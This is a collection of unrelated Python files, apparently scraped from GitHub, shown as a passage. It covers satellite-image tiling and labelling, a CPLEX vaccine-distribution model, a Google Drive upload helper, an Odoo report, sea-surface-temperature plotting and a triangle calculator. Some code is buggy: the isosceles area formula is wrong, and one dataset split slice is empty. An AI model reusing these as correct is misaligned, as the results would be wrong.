scraped_on=scraped_on\n )\n","repo_name":"mrzzy/providence","sub_path":"sources/rest-api/test_rest_api.py","file_name":"test_rest_api.py","file_ext":"py","file_size_in_byte":2011,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"29"} +{"seq_id":"18571854706","text":"# Author: Carmen López Murcia\n# Description: Group of functions to formatting a group of .TIF images into a dataset made of regular sized labelled\n# jpg images\n\ndef dynamic_step(measure, size):\n # Function that returns the step in with to move the slidding window according to the desired size\n # of the final image\n n = measure - size\n for i in range(1, 21):\n if n % i == 0:\n if n / i < 1000:\n step = i\n break\n return int(n/step), step+1\n\n\ndef get_tif_info(filepath):\n # Function that returns the metadata that wants to be keep from the original .TIF images\n import gdal\n r = gdal.Open(filepath)\n band = r.GetRasterBand(1)\n (upper_left_x, x_size, x_rotation, upper_left_y, y_rotation, y_size) = r.GetGeoTransform()\n return upper_left_x, upper_left_y\n\n\ndef tif_to_np(filepath):\n import gdal\n import numpy as np\n raster = gdal.Open(filepath)\n npArray = raster.ReadAsArray()\n npArray = np.swapaxes(npArray, 0, 2)\n return npArray\n\n\ndef check_in_range(to_check, range_):\n matches = []\n if to_check.shape == ():\n elem = to_check\n if range_[0] < elem < range_[1]:\n matches.append(1)\n else:\n matches.append(0)\n else:\n for elem in to_check:\n if range_[0] < elem < range_[1]:\n matches.append(1)\n else:\n matches.append(0)\n return matches\n\n\n# noinspection SpellCheckingInspection\ndef camps_in_image(img_coordinates, camp_centroids, size):\n import numpy as np\n # Check which camps can be found in that image\n # Camps centroids must be between these coordinates\n x_range = (img_coordinates[0], img_coordinates[0] + size[0])\n y_range = (img_coordinates[1], img_coordinates[1] + size[1])\n # Get camps that are in those ranges\n x_coords = camp_centroids['X']\n y_coords = camp_centroids['Y']\n\n matches_x = check_in_range(x_coords, x_range)\n matches_y = check_in_range(y_coords, y_range)\n\n # Camps in desired range\n matches = matches_x and matches_y\n matches = np.asarray(matches)\n return matches.astype(dtype=bool)\n\n\ndef sliding_window(big_np_array, width, height, stride_x, stride_y):\n from skimage.util.shape import view_as_windows\n import numpy as np\n # TIFF 14200x9960 ECW 14800x10060\n window_shape = (width, height)\n stride = (stride_x, stride_y)\n # Separate into different channels and crop each channel\n channel_windows_r = view_as_windows(big_np_array[:, :, 0], window_shape, stride)\n channel_windows_g = view_as_windows(big_np_array[:, :, 1], window_shape, stride)\n channel_windows_b = view_as_windows(big_np_array[:, :, 2], window_shape, stride)\n # Stack all channels into a new array\n windows = np.stack((channel_windows_r, channel_windows_g, channel_windows_b), axis=-1)\n return windows\n\n\n# noinspection SpellCheckingInspection\ndef get_labels(img_coordinates, size, camp_centroids, width, height, stride_x, stride_y):\n # Check which camps can be found in that image\n matches = camps_in_image(img_coordinates, camp_centroids, size)\n # Check for no matches in the area\n if sum(matches) == 0:\n labels = None\n # If there are matches:\n else:\n # Create a new column that mark witch camps can be found in the image\n camp_centroids['In_Image'] = matches\n camp_centroids = camp_centroids.set_index('In_Image')\n # Keep only the camps that are represented\n camp_centroids = camp_centroids.loc[True]\n\n x_coords = camp_centroids['X']\n y_coords = camp_centroids['Y']\n\n # Check in wich division falls each camp\n horizontal_div = range(0, (size[0] - width + 1), stride_x)\n vertical_div = range(0, (size[1] - height + 1), stride_y)\n\n labels = []\n for hd in horizontal_div:\n range_h = (img_coordinates[0] + hd, img_coordinates[0] + hd + 1000)\n matches_h = check_in_range(x_coords, range_h)\n if sum(matches_h) > 0:\n for vd in vertical_div:\n range_v = (img_coordinates[1] + vd, img_coordinates[1] + vd + 1000)\n matches_v = check_in_range(y_coords, range_v)\n if sum(matches_v) > 0:\n labels.append(1)\n else:\n labels.append(0)\n else:\n labels = labels + [ele for ele in [0] for i in range(len(vertical_div))]\n return labels\n\n\ndef labeling(images, labels, img_filepath, dataset_path, name_start='PNOA'):\n from os.path import exists\n import numpy as np\n from PIL import Image\n import json\n # Get the original's image filename\n img_name = img_filepath[img_filepath.index(name_start):]\n extension = img_name.index('.tif')\n # Go through every image extracted from the original and match them to their tags\n # A dictionary will be used to assign the metadata\n metadata = {}\n\n hd, vd = images.shape[0:2]\n arr = np.array(labels)\n label_mat = arr.reshape(hd, vd)\n\n json_path = str(dataset_path+'/metadata_global.json')\n\n for i in range(hd):\n for j in range(vd):\n # Generate division's filename\n div_name = str('/'+img_name[0:extension]+'_'+str(i)+'_'+str(j))\n # Get corresponding division\n image = images[i, j, 0:1000, 0:1000, 0:3]\n label = label_mat[i, j]\n # Save the division as a new file in jpg format\n i = Image.fromarray(image, 'RGB')\n i.save(str(dataset_path+div_name+'.jpg'))\n # Add metadata to de dictionary\n metadata[div_name] = int(label)\n # Once the whole array has been saved, the global metadata dictionary is updated\n # If there's already saved data\n if exists(json_path):\n f = open(json_path)\n metadata_global = json.load(f)\n metadata_global.update(metadata)\n json_ = json.dumps(metadata_global)\n f = open(json_path, 'w')\n f.write(json_)\n f.close()\n\n # If this is the first iteration\n else:\n json_ = json.dumps(metadata)\n f = open(json_path, 'w')\n f.write(json_)\n f.close()\n\n return json_path\n\n\ndef generate_dataset(image_path, camps_path, dataset_path, w=1000, h=1000):\n import pandas as pd\n # Get the data from the image and turn it into a numpy array\n img_coordinates = get_tif_info(image_path)\n image_npy = tif_to_np(image_path)\n\n size = image_npy.shape\n sx, div_x = dynamic_step(size[0], w)\n sy, div_y = dynamic_step(size[1], h)\n\n # Open the csv with all the camps data\n camps_list = pd.read_csv(camps_path)\n\n # Starting with the image cropping\n windows = sliding_window(image_npy, w, h, sx, sy)\n\n # Check witch camps are in the current image\n camps = camps_in_image(img_coordinates, camps_list, size)\n camps_list['In_Image'] = camps\n camps_list = camps_list.set_index('In_Image')\n\n # Get the corresponding labels for the subimages generated from the bigger image\n labels = get_labels(img_coordinates, size, camps_list, w, h, sx, sy)\n\n # Save the images and the labels\n if labels is None:\n print('No camps in the image '+str(image_path))\n else:\n json_path = labeling(windows, labels, image_path, dataset_path)\n\n return json_path\n\n\ndef list_to_dict(list_, filename):\n import json\n dict_ = {}\n for elem in list_:\n dict_[elem[0]] = elem[1]\n json = json.dumps(dict_)\n f = open(filename, \"w\")\n f.write(json)\n f.close()\n\n\ndef data_formatting(json_camp_info, dataset_path, dataset_division=[70, 20, 10]):\n import json\n import numpy as np\n import random\n import os\n import shutil\n import glob\n\n # Open json file with dataset metadata\n dataset_dict = open(json_camp_info)\n dataset_dict = json.load(dataset_dict)\n\n # Check how many images are with camps\n array_ = np.asarray(list(dataset_dict.values()))\n\n n_img_camps = sum(array_ == 1)\n\n # Separate images according to the presence of camps\n dict_camps = {}\n dict_no_camps = {}\n for elem in dataset_dict:\n if dataset_dict[elem] == 1:\n dict_camps[elem] = 1\n else:\n dict_no_camps[elem] = 0\n\n # As there are more images without than with camps, chose randomly as many\n # images without camp as with.\n random_dict_no_camps = {}\n for i in range(n_img_camps):\n k, v = random.choice(list(dict_no_camps.items()))\n random_dict_no_camps[k] = v\n dict_no_camps.pop(k)\n\n # From the images selected, divide them into train, test and validation groups\n # First create the directory tree for the divisions, the remainder images will be stored\n train_dir = os.path.join(dataset_path, 'train')\n os.mkdir(train_dir)\n validation_dir = os.path.join(dataset_path, 'validation')\n os.mkdir(validation_dir)\n test_dir = os.path.join(dataset_path, 'test')\n os.mkdir(test_dir)\n other_dir = os.path.join(dataset_path, 'other')\n os.mkdir(other_dir)\n\n # For each division, separate between images with and without camps\n # Directory with our training camp images\n train_camps_dir = os.path.join(train_dir, 'camps')\n os.mkdir(train_camps_dir)\n\n # Directory with our training no camps images\n train_no_camps_dir = os.path.join(train_dir, 'no_camps')\n os.mkdir(train_no_camps_dir)\n\n # Directory with our test camp images\n test_camps_dir = os.path.join(test_dir, 'camps')\n os.mkdir(test_camps_dir)\n\n # Directory with our test no camp images\n test_no_camps_dir = os.path.join(test_dir, 'no_camps')\n os.mkdir(test_no_camps_dir)\n\n # Directory with our validation camp images\n validation_camps_dir = os.path.join(validation_dir, 'camps')\n os.mkdir(validation_camps_dir)\n\n # Directory with our validation no camp images\n validation_no_camps_dir = os.path.join(validation_dir, 'no_camps')\n os.mkdir(validation_no_camps_dir)\n\n # Get the number of images for each category\n per_train, per_val, per_test = dataset_division\n n_train = round(n_img_camps * per_train / 100)\n n_val = round(n_img_camps * per_test / 100)\n n_test = n_img_camps - n_train - n_val\n\n div_train = n_train\n div_val = div_train + n_val\n div_test = div_val + n_test\n\n # Move images to their corresponding directory\n # Train camps\n for elem in list(dict_camps.keys())[0:div_train]:\n src = str(dataset_path + elem + '.npy')\n dst = str(train_camps_dir + elem + '.npy')\n shutil.move(src, dst)\n # Train no camps\n for elem in list(random_dict_no_camps.keys())[0:div_train]:\n src = str(dataset_path + elem + '.npy')\n dst = str(train_no_camps_dir + elem + '.npy')\n shutil.move(src, dst)\n # Save the corresponding dictionaries\n list_to_dict(list(dict_camps.items())[0:div_train], 'train_camps.json')\n list_to_dict(list(random_dict_no_camps.items())[0:div_train], 'train_no_camps.json')\n\n # Val camps\n for elem in list(dict_camps.keys())[div_test:div_val]:\n src = str(dataset_path + elem + '.npy')\n dst = str(validation_camps_dir + elem + '.npy')\n shutil.move(src, dst)\n # Val no camps\n for elem in list(random_dict_no_camps.keys())[div_test:div_val]:\n src = str(dataset_path + elem + '.npy')\n dst = str(validation_no_camps_dir + elem + '.npy')\n shutil.move(src, dst)\n # Save the corresponding dictionaries\n list_to_dict(list(dict_camps.items())[div_test:div_val], 'val_camps.json')\n list_to_dict(list(random_dict_no_camps.items())[div_test:div_val], 'val_no_camps.json')\n\n # Test camps\n for elem in list(dict_camps.keys())[div_train:div_test]:\n src = str(dataset_path + elem + '.npy')\n dst = str(test_camps_dir + elem + '.npy')\n shutil.move(src, dst)\n # Test no camps\n for elem in list(random_dict_no_camps.keys())[div_train:div_test]:\n src = str(dataset_path + elem + '.npy')\n dst = str(test_no_camps_dir + elem + '.npy')\n shutil.move(src, dst)\n # Save the corresponding dictionaries\n list_to_dict(list(dict_camps.items())[div_train:div_test], 'test_camps.json')\n list_to_dict(list(random_dict_no_camps.items())[div_train:div_test], 'test_no_camps.json')\n\n # Save the remaining images in another directory\n for elem in glob.glob1(dataset_path, \"*.npy\"):\n src = str(dataset_path + '/' + elem)\n dst = str(other_dir + '/' + elem)\n shutil.move(src, dst)\n\n return [train_dir, test_dir, validation_dir]\n\n\n # Pasos a seguir\n # Para el entrenamiento\n # Se tienen todas las imagenes descargadas, hay que dividirlas y etiquetarlas + centroides campamentos\n # Se tiene la imagen\n # A partir del nombre sacar las coordenadas con el shapefile // Metadatos .TIFF, coordenadas de la imagen\n # Una vez se tienen las coordenadas de la imagen se procede a dividirla\n # Se da por hecho que en todas las imagenes grandes va a haber al menos un campamento\n # Se debe identificar en que subdivisión se encuentra el campamento\n # Al cortarlo se debe añadir un label que indique si la imagen tiene o no campamento\n\n# En la evaluación, a partir de las coordenadas se descarga la imagen y se debe dividir\n","repo_name":"clm448/TFM_Romanas","sub_path":"image_processing.py","file_name":"image_processing.py","file_ext":"py","file_size_in_byte":13265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"71105179279","text":"# Required cplex setup\n# Run `python ./setup.py install` in the\n# cplex/python application installation folder\n# More details https://www.ibm.com/docs/en/SSSA5P_12.8.0/ilog.odms.cplex.help/CPLEX/GettingStarted/topics/set_up/Python_setup.html # noqa: E501\n\nimport json\nfrom docplex.mp.model import Model\nfrom docplex.mp.solution import SolveSolution\nfrom docplex.mp.linear import LinearExpr\n\n\n# Step 0 - Prepare the environment\ndef create_model() -> Model:\n return Model('model_distribution')\n\n\n# Step 1 - Prepare the data\ndef prepare_data(model: Model, objects_path='.') -> LinearExpr:\n\n # Data and sets ##\n\n with open(objects_path + \"/airports.json\", \"r\") as f:\n airports = json.load(f)\n with open(objects_path + \"/vaccinationPoints.json\", \"r\") as f:\n vaccination_points = json.load(f)\n # with open(objects_path + \"/warehouses.json\", \"r\") as f:\n # warehouses = json.load(f)\n with open(objects_path + \"/routes.json\", \"r\") as f:\n routes = json.load(f)\n\n with open(objects_path + \"/trucks.json\", \"r\") as f:\n truck_types = json.load(f)\n with open(objects_path + \"/vaccines.json\", \"r\") as f:\n vaccine_types = json.load(f)\n\n all_points = {}\n all_points.update(airports)\n # all_points.update(warehouses)\n all_points.update(vaccination_points)\n\n point_edge_lookup = {\n pname:\n {\n 'in': [rname for rname, route in routes.items()\n if route['end'] == pname],\n 'out': [rname for rname, route in routes.items()\n if route['start'] == pname],\n }\n for pname, node in all_points.items()\n }\n\n truck_route_combinations = {\n r + t: {'route': r, 'truck': t} for t in truck_types for r in routes\n }\n\n # vaccine_lifetime_types = {\n # f\"{vname}-{i}\": {'lifetime': vaccine['lifetime'] - i} for vname,\n # vaccine in vaccine_types.items() for i in range(vaccine['lifetime'])\n # }\n\n # print(vaccine_lifetime_types)\n\n # Decision variables ##\n\n vaccine_quantities = model.integer_var_dict(\n routes, name=\"dvar_vaccines_per_route\"\n )\n\n truck_routes = model.integer_var_dict(\n truck_route_combinations, name=\"dvar_trucks_per_route\"\n )\n\n # Expressions ##\n\n # Cost of truck usage (rent + km usage)\n trucks_rent_cost = model.sum(\n amount * truck_types[truck_route_combinations[tr]['truck']]['rentCost']\n +\n amount * routes[truck_route_combinations[tr]['route']]['distance']\n * truck_types[truck_route_combinations[tr]['truck']]['kmCost']\n\n for tr, amount in truck_routes.items()\n )\n\n # Constraints ##\n\n # Routes from airports can have at most the delivery amount of the airport\n for pname, point in airports.items():\n model.add_constraint(\n model.sum(\n vaccine_quantities[r] for r in point_edge_lookup[pname]['out']\n ) <= point['deliveryAmount'],\n ctname=\"ct_airport_max_\" + pname\n )\n\n # Sum of routes to the vaccination points must have\n # at least the demand of the point\n for pname, point in vaccination_points.items():\n model.add_constraint(\n model.sum(\n vaccine_quantities[r] for r in point_edge_lookup[pname]['in']\n ) >= point['demand'],\n ctname=\"ct_airport_max_\" + pname\n )\n\n # # Truck capacity cannot be higher than its max\n # for r in routes:\n # model.add_constraint(\n # model.sum(\n # amount for tr, amount in truck_routes.items()\n # if r in tr\n # ) <= ,\n # ctname='ct_truck_capacity_at_least'\n # )\n\n # Sum of truck capacity must be at least the amount of vaccines\n # transported on its route\n for r in routes:\n model.add_constraint(\n model.sum(\n amount *\n truck_types[truck_route_combinations[tr]['truck']]\n ['maxCapacity'] for tr, amount in truck_routes.items()\n if r in tr\n ) >= vaccine_quantities[r],\n ctname='ct_truck_capacity_at_least' + r\n )\n\n # Vaccines must make it to the vaccination points in time smaller than\n # their travel lifetime\n for trname, tr in truck_route_combinations.items():\n for vname, v in vaccine_types.items():\n model.add_constraint(\n truck_routes[trname]\n * route_time_for_truck(\n routes[tr['route']], truck_types[tr['truck']]\n )\n <= truck_routes[trname] * v['lifetime'],\n ctname='ct_vaccine_lifetime' + trname + vname\n )\n\n # TODO: Utilize this in the complex model solution\n # # For warehouse points, incoming vaccines should be equal to outgoing\n # for w in warehouses:\n # warehouse_routes = point_edge_lookup[w]\n # model.add_constraint(\n # model.sum(\n # vaccine_quantities[r] for r in warehouse_routes['in']\n # )\n # ==\n # model.sum(\n # vaccine_quantities[r] for r in warehouse_routes['out']\n # )\n # )\n\n # Objective function - cost of the distribution ##\n\n f = trucks_rent_cost\n\n return f\n\n\n# Step 3 - Set the objective\ndef set_objective(model: Model, objective_function: LinearExpr):\n model.set_objective(\"min\", objective_function)\n\n\n# Step 4 - Solve the problem\ndef solve_problem(model: Model) -> SolveSolution:\n solution = model.solve()\n return solution\n\n\n# Step 5 - Communicate the results\ndef print_solution(model: Model):\n model.print_information()\n model.print_solution(print_zeros=True)\n\n\ndef save_solution(solution: SolveSolution, test_path='.'):\n with open(test_path + \"/solution.json\", 'w') as f:\n f.write(solution.export_as_json_string())\n\n\n# Helper functions\n\ndef route_time_for_truck(route, truck):\n if truck['avgSpeed'] == 0:\n return 10e100\n\n return route['distance'] / truck['avgSpeed']\n","repo_name":"julzerinos/cplex-covid-vaccines-distribution","sub_path":"simplified/distribution.py","file_name":"distribution.py","file_ext":"py","file_size_in_byte":6068,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"37831423573","text":"import datetime\nimport re\n\nfrom google.auth.transport.requests import Request\nfrom google.oauth2.credentials import Credentials\nfrom google_auth_oauthlib.flow import InstalledAppFlow\nfrom googleapiclient.discovery import build\nfrom googleapiclient.http import MediaFileUpload\n\nfrom cakeboi.util import local\nfrom cakeboi.util.gsheets import today_string\nfrom cakeboi.util.guser import GoogleUser\n\nDEFAULT_GET_FIELDS = \"nextPageToken, files(id, name, mimeType, parents, createdTime)\"\n\n\ndef create_token():\n \"\"\"\n Logs the user in and returns a service resource object\n \"\"\"\n client_secret = local.get_token('oauth') # dict/json format\n\n flow = InstalledAppFlow.from_client_config(\n client_secret, [\"https://www.googleapis.com/auth/drive\"])\n creds = flow.run_local_server(port=0)\n\n print(creds.to_json())\n with open('new_drive_token.json', 'w') as token:\n token.write(creds.to_json())\n\n service = build('drive', 'v3', credentials=creds)\n\n\ndef login(token=None, client_secret=None):\n \"\"\"\n Logs the user in and returns a service resource object\n \"\"\"\n token = local.get_token(\"drive_token\") # dict/json format\n client_secret = local.get_token('oauth') # dict/json format\n creds = None\n\n _SCOPES = [\"https://www.googleapis.com/auth/drive\"]\n if token:\n creds = Credentials.from_authorized_user_info(token, _SCOPES)\n\n # If there are no (valid) credentials available, let the user log in.\n # Click http link\n if not creds or not creds.valid:\n if creds and creds.expired and creds.refresh_token:\n creds.refresh(Request())\n else:\n # cred_json = \"\"\n flow = InstalledAppFlow.from_client_config(\n client_secret, _SCOPES)\n creds = flow.run_local_server(port=0)\n print(creds.to_json())\n\n service = build('drive', 'v3', credentials=creds)\n return service\n\n\nclass DriveUser(GoogleUser):\n def __init__(self, name=None, channel_id=None, drive_id=None):\n GoogleUser.__init__(self, name=name, channel_id=channel_id, drive_id=drive_id)\n self.service = login()\n\n def upload(self, path_list=None, parent_id=None):\n \"\"\"\n Uploads last X images from discord to Drive\n\n Returns list of references of uploaded files.\n IDs are necessary for GoogleSheets =IMAGE()\n \"\"\"\n if path_list is None:\n print(\"[Debug]\", \"Empty list was passed to drive.helper.update()\")\n return\n\n # Collects references to return later\n items = []\n # If no specific folder given, upload to 'today folder' (creates it if it doesnt exist)\n if parent_id is None:\n today_folder = self.create_folder()\n parent_id = today_folder['id']\n\n # Uploads each file from that list to the drive folder\n for path in path_list:\n filename = re.split(r'[ \\\\/]', path)[-1]\n new_file = self.create_file(file_name=filename, path=path, parent_id=parent_id)\n items.append(new_file)\n\n return items\n\n def create_file(self, path, file_name=None, parent_id=None):\n \"\"\"\n Creates a drive file.\n Uploads the content of a local file given by path\n \"\"\"\n # Some typecasting measures\n if type(parent_id) is dict:\n parent_id = parent_id['id']\n\n if type(parent_id) != list:\n parent_id = [parent_id]\n\n if file_name is None:\n file_name = re.split(r'[\\\\/]', path)[-1]\n\n # Metadata for the file\n metadata = {\n 'name': file_name, # file name\n 'parents': parent_id, # parent folder\n }\n\n # Uploads local file into program/drive space\n media_body = MediaFileUpload(path, mimetype='image/jpeg')\n\n # Officially create the file (makes it accessible/visible/etc)\n file = self.service.files().create(body=metadata, media_body=media_body, fields='*').execute()\n return file\n\n def create_folder(self, folder_name=None, parents=None):\n \"\"\"\n Creates a sub folder for the day in the correct folder (per channel)\n Returns the folder reference\n \"\"\"\n # If no folder name passed, make it current day\n if folder_name is None:\n folder_name = today_string()\n\n # Defaults to a drive folder specific to the channel/user\n if parents is None:\n parents = [self.drive_id]\n\n # fix data type\n if type(parents) != list:\n parents = [parents]\n\n # Check if folder already exists with that name.\n # Use that one instead then\n for sibling in self.get_children(parent_id=parents[0]):\n if sibling['name'] == folder_name:\n print(\"Folder already exists\")\n return sibling\n\n # Prepare folder meta data\n file_metadata = {\n 'name': folder_name,\n 'mimeType': 'application/vnd.google-apps.folder',\n 'parents': parents\n }\n\n # Creates it\n file = self.service.files().create(body=file_metadata, fields='*').execute()\n return file\n\n def get_all(self, q='', spaces='drive', fields=DEFAULT_GET_FIELDS):\n \"\"\"\n Lists all Google Drive files and folders that are accessible to the bot (= were created by the bot)\n Returns list of file references (drive file objects)\n \"\"\"\n page_token = None\n items = []\n while True:\n request = self.service.files().list(q=q + \" and trashed = false\",\n spaces=spaces,\n fields=fields,\n pageToken=page_token)\n response = request.execute()\n for item in response.get('files', []):\n items.append(item)\n page_token = response.get('nextPageToken', None)\n if page_token is None:\n break\n return items\n\n def get_folders(self, q=f\"mimeType = 'application/vnd.google-apps.folder'\", fields=DEFAULT_GET_FIELDS):\n \"\"\"\n Get all Google Drive files that are accessible to the bot (= were created by the bot)\n Returns list of file references (drive file objects)\n \"\"\"\n return self.get_all(q=q, fields=fields)\n\n def get_children(self, parent_id=None):\n \"\"\"\n Find the children files/folders of a folder\n Returns list of file references (drive file objects)\n \"\"\"\n if parent_id is None:\n parent_id = self.drive_id\n return self.get_all(q=f\"'{parent_id}' in parents\")\n\n def tree(self, folder_id=None, indent=0):\n \"\"\"\n Find the children files/folders of a folder\n Recursive call and formats as a tree\n\n Returns nothing\n \"\"\"\n # BASE CASE\n if folder_id is None:\n folder_id = self.drive_id\n children = self.get_children(folder_id)\n if indent == 0:\n print(f\"ROOT [{len(children)}]\")\n if len(children) == 0:\n return\n\n # RECURSION\n for c in children:\n c_children = self.get_children(c['id'])\n print((indent + 4) * ' ', f\"{c['name']} [{len(c_children)}]\")\n self.tree(c['id'], indent + 4)\n\n def remove(self, file):\n \"\"\"\n Alias for delete()\n \"\"\"\n self.delete(file)\n\n def delete(self, drive_file):\n \"\"\"\n Deletes a google drive file\n \"\"\"\n try:\n if type(drive_file) is dict:\n file_id = drive_file['id']\n elif type(drive_file) is str:\n file_id = drive_file\n else:\n raise ValueError\n self.service.files().delete(fileId=file_id).execute()\n except ValueError as err:\n print(err, \"Received invalid parameter\")\n\n def clear_folder(self, folder_id):\n \"\"\"\n Clears a google drive folder of its content.\n Wont work for files that weren't created by bot.\n \"\"\"\n content = self.get_children(parent_id=folder_id)\n trashed = []\n for f in content:\n trashed.append(f)\n self.delete(f)\n return trashed\n","repo_name":"hokenchu/cakebois","sub_path":"cakeboi/util/gdrive.py","file_name":"gdrive.py","file_ext":"py","file_size_in_byte":8275,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"40145264661","text":"print(\"Isosceles Triangle\")\r\ndef isctri():\r\n a = input(\"Common side : \")\r\n b = input(\"Base : \")\r\n a = float(a)\r\n b = float(b)\r\n A = (b/2)*(((b*b)-(a*a))**(1/2))\r\n p = (2*a)+b\r\n h = 2*(A/b)\r\n print(\"Area = \", A,\"sq units\")\r\n print(\"Perimeter = \" , p,\"units\")\r\n print(\"Height = \", h,\"units\")\r\nwhile True:\r\n isctri()\r\n if input() == \"exit\":\r\n break ","repo_name":"ImagineEyes/AllShapes","sub_path":"isc triangle.py","file_name":"isc triangle.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"9957850633","text":"# -*- coding: utf-8 -*-\r\n# Part of Odoo. See LICENSE file for full copyright and licensing details.\r\n\r\nfrom odoo import api, models\r\n\r\nclass L10nSiTaxRegReport(models.AbstractModel):\r\n _name = 'l10n_si_tax_reg.report'\r\n\r\n def render_html(self, data=None):\r\n \"\"\"overridden to increase print counter\"\"\"\r\n\r\n report_name, doc_args = self._l10n_si_tax_reg_render_html(data=data)\r\n return self.env['report'].render(report_name, doc_args)\r\n\r\n def _l10n_si_tax_reg_render_html(self, data=None):\r\n report_name = self._name.split('.', 1)[1]\r\n report = self.env['report']._get_report_from_name(report_name)\r\n\r\n doc_args = {\r\n 'doc_ids': self._ids,\r\n 'doc_model': report.model,\r\n 'docs': self.env[report.model].browse(self._ids),\r\n }\r\n\r\n for doc in doc_args['docs']:\r\n if doc.l10n_si_tax_reg_premise_line_id:\r\n doc.l10n_si_tax_reg_num_copy += 1\r\n\r\n return (report_name, doc_args)\r\n","repo_name":"zakariabenomar/slovenian_taxt_regestry","sub_path":"l10n_si_tax_registry/models/l10n_si_tax_reg_report.py","file_name":"l10n_si_tax_reg_report.py","file_ext":"py","file_size_in_byte":1000,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"72687209998","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Aug 21 13:42:41 2012\r\n\r\n@author:huanxin\r\n\"\"\"\r\n##################################################\r\n#from this project, you can get a picture of sst and drifter data. it could get \r\n# input value from 3 options. (1)from contorl file,(2) from your raw_input\r\n#(include date and file )\r\n#in order to show start and end point clearly, we point them out on the picture\r\n#input values: drifter number,filename, start time, time period\r\n#output values: maxlon,minlon,maxlat,minlat,lat,lon\r\n###################################################\r\nimport sys\r\nimport pytz \r\nfrom matplotlib.dates import num2date,date2num\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib.mlab as ml\r\nimport numpy as np\r\nimport datetime as dt\r\n\r\n\r\nfrom hx import getcodar_ctl_file,plot_getsst,getdrift_raw\r\n\r\n\r\nsys.path.append('/net/home3/ocn/jmanning/py/mygit/modules/')\r\nfrom basemap import basemap_region\r\ndrifter='pro' #\"processed\" or \"raw\"\r\noption='3'\r\ndef range_latlon(filename,driftnumber): # function neede in case of \"raw\" drifter date\r\n d=ml.load(filename)\r\n id=ml.find(d[:,0]==int(driftnumber))\r\n lat1=d[id,8]\r\n lon1=d[id,7]\r\n maxlon=max(lon1)\r\n minlon=min(lon1)\r\n maxlat=max(lat1)\r\n minlat=min(lat1)\r\n return maxlon,minlon,maxlat,minlat,lat1,lon1\r\n\r\nutc = pytz.timezone('UTC')\r\npng_num=0 #for save picture\r\n#option=raw_input(\"If you have a file of column lat and lon,please input '1'\\nIf you want to input points' location, please input '2'\\n\"\r\n#\"If you want to use the control file,please input '3'\\n\")\r\nif option=='3':\r\n inputfilename='getcodar_bydrifter_ctl.txt' #default control file\r\n (datetime_wanted,filename,driftnumber,url,model_option,num,interval_dtime,interval,step_size)=getcodar_ctl_file(inputfilename)\r\n if drifter=='raw':\r\n maxlon,minlon,maxlat,minlat,lat,lon=range_latlon(filename,driftnumber)\r\n else:\r\n drifter_data=getdrift_raw(filename,driftnumber,interval,datetime_wanted) #uses pydap to get remote drifter data\r\n lon=drifter_data['lon']\r\n lat=drifter_data['lat']\r\n maxlon=max(lon)\r\n minlon=min(lon)\r\n maxlat=max(lat)\r\n minlat=min(lat) \r\nif option=='2':\r\n datetime_wanted=date2num(dt.datetime.strptime(raw_input(\"please input datetime you wanted, the format like: 2012,8,26,0,0\\n\"),'%Y,%m,%d,%H,%M'))\r\n lat_list=raw_input(\"Please input points SW & NE latitude in order,and split them by ',':\")\r\n lon_list=raw_input(\"Please input points lon in order,and split them by ',':\")\r\n lat1=lat_list[0:].split(',')\r\n lon1=lon_list[0:].split(',')\r\n lat,lon=[],[]\r\n for q in range(len(lon1)):\r\n lat.append(float(lat1[q]))\r\n lon.append(float(lon1[q]))\r\n maxlon=max(lon1)\r\n minlon=min(lon1)\r\n maxlat=max(lat1)\r\n minlat=min(lat1) \r\nif option=='1':\r\n datetime_wanted=date2num(dt.datetime.strptime(raw_input(\"please input datetime you wanted, the format like: 2012,8,26,0,0\\n\"),'%Y,%m,%d,%H,%M'))\r\n filename=raw_input('Please input your file path and name:\\n')\r\n maxlon,minlon,maxlat,minlat,lat,lon=range_latlon(filename)\r\n\r\n\r\n#make sure the picture can show lat and lon clearly\r\nif maxlat-minlat<=0.1:\r\n maxlat=maxlat+0.01\r\n minlat=minlat-0.01\r\nif maxlon-minlon<=0.1:\r\n maxlon=maxlon+0.01\r\n minlon=minlon-0.01\r\n\r\ngbox=[minlon-1.0,maxlon+1.0, minlat-0.03, maxlat+0.03] # get edge for get sst\r\nfor x in range(num):\r\n \r\n ask_input=num2date(datetime_wanted) #get time for getsst\r\n #plt.title(str(num2date(datetime_wanted).strftime(\"%d-%b-%Y %H\"))+'h')\r\n plot_getsst(ask_input,utc,gbox)\r\n lat_wanted=lat[-1]\r\n lon_wanted=lon[-1]\r\n #find wanted point lat,lon\r\n\r\n #plt.plot(lon_wanted,lat_wanted,'.',markersize=30,color='m',label='end')\r\n plt.plot(np.reshape(lon,np.size(lon)),np.reshape(lat,np.size(lat)),linewidth=3,color='black')\r\n #plt.plot(lon[0],lat[0],'.',markersize=20,color='g',label='start') # start time\r\n plt.annotate('start',xy=(lon[0],lat[0]),xytext=(lon[0]+(maxlon-minlon)/10,lat[0]+(maxlat-minlat)/10),color='white',arrowprops=dict(facecolor='white',frac=0.3, shrink=0.05))\r\n plt.annotate('end',xy=(lon[-1],lat[-1]),xytext=(lon[-1]+(maxlon-minlon)/10,lat[-1]-(maxlat-minlat)/5),color='white',arrowprops=dict(facecolor='white',frac=0.3, shrink=0.05))\r\n plt.title('Drifter '+driftnumber+' and '+ask_input.strftime('%d %b %Y')+' SST')\r\n#basemap_standard([int(minlat),np.ceil(maxlat)],[int(minlon-1.5),np.ceil(maxlon)+1.0],2.0) #overrides xlim and ylims set previously \r\n bathy=True\r\n region='wv'\r\n basemap_region(region)\r\nplt.show()","repo_name":"xhx509/sst","sub_path":"getsst_drifter_raw.py","file_name":"getsst_drifter_raw.py","file_ext":"py","file_size_in_byte":4553,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"29"} +{"seq_id":"11901650179","text":"from typing import Optional, List\n\n\nclass Node:\n def __init__(self, v):\n self.value = v\n self.prev = None\n self.next = None\n\n\nclass 